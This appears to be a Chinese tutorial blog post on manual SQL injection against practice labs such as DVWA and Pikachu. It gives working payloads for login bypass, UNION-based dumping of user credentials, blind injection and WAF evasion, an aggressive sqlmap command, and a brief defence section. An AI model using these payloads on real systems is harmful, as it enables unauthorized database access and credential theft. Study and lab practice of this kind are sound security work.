1. 项目概述
SQL注入作为Web安全领域的经典漏洞类型,至今仍是渗透测试和CTF比赛中的高频考点。我从业Web安全七年来,处理过上百起SQL注入案例,发现许多新手在手工注入过程中常因基础不牢而陷入困境。本文将基于DVWA、Pikachu等主流靶场环境,拆解手工脱库的全流程技术细节。
手工注入与工具扫描最大的区别在于对数据库结构的理解深度。记得第一次接触泛微OA系统注入时,我花了三天时间才绕过WAF获取到管理员凭证,这段经历让我深刻认识到系统化学习的重要性。下面分享的每个技巧都经过真实环境验证,特别适合已经掌握SQL语法基础但缺乏实战经验的安全爱好者。
2. 注入原理深度解析
2.1 漏洞产生机制
当应用程序将用户输入直接拼接进SQL查询语句时,攻击者通过构造特殊输入改变原语句逻辑。以登录场景为例:
-- 原始语句 SELECT * FROM users WHERE username='$input_user' AND password='$input_pass' -- 注入攻击 admin' --这段注入会使查询变为:
SELECT * FROM users WHERE username='admin' -- ' AND password=''注释符(--)使密码验证失效,直接以admin身份登录。这种基于单引号闭合的注入属于最常见的字符型注入。
2.2 注入类型鉴别
通过提交特定测试载荷判断注入类型:
数字型注入:
id=1 and 1=1 -- 正常显示 id=1 and 1=2 -- 异常显示字符型注入:
id=1' and '1'='1 -- 正常 id=1' and '1'='2 -- 异常搜索型注入:
search=%' and 1=1 --
关键技巧:在Burp Suite中拦截请求后,逐个参数测试闭合方式,观察响应差异。
3. 手工注入全流程实战
3.1 信息收集阶段
使用DVWA靶场(Low级别)演示:
判断注入点:
1' and sleep(5) --若响应延迟5秒,确认存在注入。
获取字段数:
1' order by 4 -- -- 正常 1' order by 5 -- -- 报错说明当前查询返回4个字段。
确定回显位:
-1' union select 1,2,3,4 --页面显示数字2和3的位置可用于输出查询结果。
3.2 数据库结构探测
获取数据库版本:
-1' union select 1,version(),3,4 --列出所有数据库:
-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata --获取当前数据库表:
-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --
3.3 数据提取技巧
针对users表的脱库操作:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' -- -1' union select 1,concat(user,'|',password),3,4 from users --实战经验:遇到group_concat被限制时,可用limit分页:
-1' union select 1,concat(user,':',password),3,4 from users limit 0,1 --
4. 高级绕过技术
4.1 WAF绕过方案
大小写混淆:
1' aNd 1=1 --注释符分割:
1' /*!and*/ 1=1 --十六进制编码:
-1' union select 1,0x61646d696e,3,4 --
4.2 盲注技术应用
当页面无回显时采用时间盲注:
1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --布尔盲注判断技巧:
1' and (select count(*) from users where username='admin')=1 --5. 防御方案与检测方法
5.1 安全编码实践
参数化查询(Java示例):
String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, inputUser);输入过滤:
$input = preg_replace('/[\'"]/', '', $_GET['id']);
5.2 漏洞检测流程
自动化扫描:
- SQLmap基础检测:
sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5
- SQLmap基础检测:
手工验证:
- 使用Burp Suite的Repeater模块逐步测试
- 对每个输入点测试边界情况
6. 典型问题排查指南
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 注入语句执行但无回显 | 可能为盲注场景 | 改用时间盲注或布尔盲注技术 |
| 单引号被转义 | 魔术引号开启 | 尝试数字型注入或双重编码 |
| 返回结果被截断 | group_concat长度限制 | 使用substring函数分段获取 |
| 请求被WAF拦截 | 触发安全规则 | 尝试注释符混淆/大小写变异 |
7. 靶场实战建议
DVWA:调整安全等级逐步练习
- Low:基础注入练习
- Medium:学习绕过基础过滤
- High:掌握复杂绕过技术
Pikachu靶场:包含各种变异注入场景
- 宽字节注入
- Base64编码注入
- Cookie注入
CTFshow题目:
# 绕过过滤空格 1'/**/union/**/select/**/1,2,3#
最后分享一个真实案例中的技巧:遇到过滤了information_schema的情况,可以通过mysql.innodb_table_stats等替代表获取表结构信息。手工注入的魅力在于需要根据目标环境不断调整策略,这比单纯使用工具更能提升技术理解深度。